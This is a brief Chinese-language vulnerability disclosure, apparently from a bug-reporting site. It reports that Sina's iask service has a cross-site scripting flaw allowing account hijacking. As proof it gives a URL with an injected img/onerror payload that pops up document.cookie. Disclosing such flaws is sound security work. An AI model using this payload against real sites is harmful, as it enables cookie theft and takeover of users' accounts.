详细说明：

新浪存在xss导致用户账号被劫持


漏洞证明：


http://iask.sina.com.cn/?k=<img%20onload=\"lazivip><img%20src=/%20onerror=javascript:alert(document.cookie)>